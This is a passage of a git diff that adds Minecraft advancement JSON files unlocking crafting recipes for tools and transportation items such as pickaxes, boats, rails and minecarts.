mode 100644 index 00000000..7886ede4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/flint_and_steel.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:flint_and_steel" + ] + }, + "criteria": { + "has_flint": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:flint" + } + ] + } + }, + "has_obsidian": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:obsidian" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:flint_and_steel" + } + } + }, + "requirements": [ + [ + "has_flint", + "has_obsidian", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/golden_axe.json b/src/data/minecraft/advancements/recipes/tools/golden_axe.json new file mode 100644 index 00000000..e60c4f9a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/golden_axe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_axe" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_axe" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/golden_hoe.json b/src/data/minecraft/advancements/recipes/tools/golden_hoe.json new file mode 100644 index 00000000..24bbd70c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/golden_hoe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_hoe" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_hoe" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/golden_pickaxe.json b/src/data/minecraft/advancements/recipes/tools/golden_pickaxe.json new file mode 100644 index 00000000..87fa6c1f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/golden_pickaxe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_pickaxe" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_pickaxe" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/golden_shovel.json b/src/data/minecraft/advancements/recipes/tools/golden_shovel.json new file mode 100644 index 00000000..863a7a54 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/golden_shovel.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_shovel" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_shovel" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/iron_axe.json b/src/data/minecraft/advancements/recipes/tools/iron_axe.json new file mode 100644 index 00000000..c4d28853 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/iron_axe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_axe" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_axe" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/iron_hoe.json b/src/data/minecraft/advancements/recipes/tools/iron_hoe.json new file mode 100644 index 00000000..165a9958 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/iron_hoe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_hoe" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_hoe" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/iron_pickaxe.json b/src/data/minecraft/advancements/recipes/tools/iron_pickaxe.json new file mode 100644 index 00000000..53ab4103 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/iron_pickaxe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_pickaxe" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_pickaxe" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/iron_shovel.json b/src/data/minecraft/advancements/recipes/tools/iron_shovel.json new file mode 100644 index 00000000..5fedcb16 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/iron_shovel.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:iron_shovel" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:iron_shovel" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/lead.json b/src/data/minecraft/advancements/recipes/tools/lead.json new file mode 100644 index 00000000..788024cf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/lead.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:lead" + ] + }, + "criteria": { + "has_slime_ball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:slime_ball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:lead" + } + } + }, + "requirements": [ + [ + "has_slime_ball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/netherite_axe_smithing.json b/src/data/minecraft/advancements/recipes/tools/netherite_axe_smithing.json new file mode 100644 index 00000000..baceed36 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/netherite_axe_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_axe_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_axe_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/netherite_hoe_smithing.json b/src/data/minecraft/advancements/recipes/tools/netherite_hoe_smithing.json new file mode 100644 index 00000000..11e0e668 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/netherite_hoe_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_hoe_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_hoe_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/netherite_pickaxe_smithing.json b/src/data/minecraft/advancements/recipes/tools/netherite_pickaxe_smithing.json new file mode 100644 index 00000000..d7707720 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/netherite_pickaxe_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_pickaxe_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_pickaxe_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/netherite_shovel_smithing.json b/src/data/minecraft/advancements/recipes/tools/netherite_shovel_smithing.json new file mode 100644 index 00000000..f195fc71 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/netherite_shovel_smithing.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:netherite_shovel_smithing" + ] + }, + "criteria": { + "has_netherite_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:netherite_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:netherite_shovel_smithing" + } + } + }, + "requirements": [ + [ + "has_netherite_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/shears.json b/src/data/minecraft/advancements/recipes/tools/shears.json new file mode 100644 index 00000000..f94e7000 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/shears.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:shears" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:shears" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/stone_axe.json b/src/data/minecraft/advancements/recipes/tools/stone_axe.json new file mode 100644 index 00000000..d8e3cdad --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/stone_axe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_axe" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_axe" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/stone_hoe.json b/src/data/minecraft/advancements/recipes/tools/stone_hoe.json new file mode 100644 index 00000000..ad2b61ff --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/stone_hoe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_hoe" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_hoe" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/stone_pickaxe.json b/src/data/minecraft/advancements/recipes/tools/stone_pickaxe.json new file mode 100644 index 00000000..37ef8aa5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/stone_pickaxe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_pickaxe" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_pickaxe" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/stone_shovel.json b/src/data/minecraft/advancements/recipes/tools/stone_shovel.json new file mode 100644 index 00000000..e3d7a93b --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/stone_shovel.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:stone_shovel" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_tool_materials" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:stone_shovel" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/wooden_axe.json b/src/data/minecraft/advancements/recipes/tools/wooden_axe.json new file mode 100644 index 00000000..962bc08e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/wooden_axe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wooden_axe" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wooden_axe" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/wooden_hoe.json b/src/data/minecraft/advancements/recipes/tools/wooden_hoe.json new file mode 100644 index 00000000..796e5aa7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/wooden_hoe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wooden_hoe" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wooden_hoe" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/wooden_pickaxe.json b/src/data/minecraft/advancements/recipes/tools/wooden_pickaxe.json new file mode 100644 index 00000000..2aa005c7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/wooden_pickaxe.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wooden_pickaxe" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wooden_pickaxe" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/tools/wooden_shovel.json b/src/data/minecraft/advancements/recipes/tools/wooden_shovel.json new file mode 100644 index 00000000..da12853a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/tools/wooden_shovel.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:wooden_shovel" + ] + }, + "criteria": { + "has_stick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:wooden_shovel" + } + } + }, + "requirements": [ + [ + "has_stick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/acacia_boat.json b/src/data/minecraft/advancements/recipes/transportation/acacia_boat.json new file mode 100644 index 00000000..ac938b92 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/acacia_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:acacia_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:acacia_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/activator_rail.json b/src/data/minecraft/advancements/recipes/transportation/activator_rail.json new file mode 100644 index 00000000..02047034 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/activator_rail.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:activator_rail" + ] + }, + "criteria": { + "has_rail": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rail" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:activator_rail" + } + } + }, + "requirements": [ + [ + "has_rail", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/birch_boat.json b/src/data/minecraft/advancements/recipes/transportation/birch_boat.json new file mode 100644 index 00000000..3018e790 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/birch_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:birch_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:birch_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/carrot_on_a_stick.json b/src/data/minecraft/advancements/recipes/transportation/carrot_on_a_stick.json new file mode 100644 index 00000000..a196d6f4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/carrot_on_a_stick.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:carrot_on_a_stick" + ] + }, + "criteria": { + "has_carrot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:carrot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:carrot_on_a_stick" + } + } + }, + "requirements": [ + [ + "has_carrot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/chest_minecart.json b/src/data/minecraft/advancements/recipes/transportation/chest_minecart.json new file mode 100644 index 00000000..766c76f5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/chest_minecart.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chest_minecart" + ] + }, + "criteria": { + "has_minecart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:minecart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chest_minecart" + } + } + }, + "requirements": [ + [ + "has_minecart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/dark_oak_boat.json b/src/data/minecraft/advancements/recipes/transportation/dark_oak_boat.json new file mode 100644 index 00000000..e5798bcc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/dark_oak_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dark_oak_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dark_oak_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/detector_rail.json b/src/data/minecraft/advancements/recipes/transportation/detector_rail.json new file mode 100644 index 00000000..d24251cc --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/detector_rail.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:detector_rail" + ] + }, + "criteria": { + "has_rail": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rail" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:detector_rail" + } + } + }, + "requirements": [ + [ + "has_rail", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/furnace_minecart.json b/src/data/minecraft/advancements/recipes/transportation/furnace_minecart.json new file mode 100644 index 00000000..b2d6d51c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/furnace_minecart.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:furnace_minecart" + ] + }, + "criteria": { + "has_minecart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:minecart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:furnace_minecart" + } + } + }, + "requirements": [ + [ + "has_minecart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/hopper_minecart.json b/src/data/minecraft/advancements/recipes/transportation/hopper_minecart.json new file mode 100644 index 00000000..e2b05aa7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/hopper_minecart.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:hopper_minecart" + ] + }, + "criteria": { + "has_minecart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:minecart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:hopper_minecart" + } + } + }, + "requirements": [ + [ + "has_minecart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/jungle_boat.json b/src/data/minecraft/advancements/recipes/transportation/jungle_boat.json new file mode 100644 index 00000000..08f3a0f8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/jungle_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:jungle_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:jungle_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/minecart.json b/src/data/minecraft/advancements/recipes/transportation/minecart.json new file mode 100644 index 00000000..97255532 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/minecart.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:minecart" + ] + }, + "criteria": { + "has_iron_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:iron_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:minecart" + } + } + }, + "requirements": [ + [ + "has_iron_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/oak_boat.json b/src/data/minecraft/advancements/recipes/transportation/oak_boat.json new file mode 100644 index 00000000..845afde7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/oak_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:oak_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:oak_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/powered_rail.json b/src/data/minecraft/advancements/recipes/transportation/powered_rail.json new file mode 100644 index 00000000..4482b570 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/powered_rail.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:powered_rail" + ] + }, + "criteria": { + "has_rail": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rail" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:powered_rail" + } + } + }, + "requirements": [ + [ + "has_rail", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/rail.json b/src/data/minecraft/advancements/recipes/transportation/rail.json new file mode 100644 index 00000000..298045b6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/rail.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:rail" + ] + }, + "criteria": { + "has_minecart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:minecart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:rail" + } + } + }, + "requirements": [ + [ + "has_minecart", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/spruce_boat.json b/src/data/minecraft/advancements/recipes/transportation/spruce_boat.json new file mode 100644 index 00000000..a677fea6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/spruce_boat.json @@ -0,0 +1,28 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:spruce_boat" + ] + }, + "criteria": { + "in_water": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:water" + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:spruce_boat" + } + } + }, + "requirements": [ + [ + "in_water", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/transportation/tnt_minecart.json b/src/data/minecraft/advancements/recipes/transportation/tnt_minecart.json new file mode 100644 index 00000000..4cdcb615 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/transportation/tnt_minecart.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:tnt_minecart" + ] + }, + "criteria": { + "has_minecart": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:minecart" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:tnt_minecart" + } + } + }, + "requirements": [ + [ + "has_minecart", + "has_the_recipe" + ] + ] +} 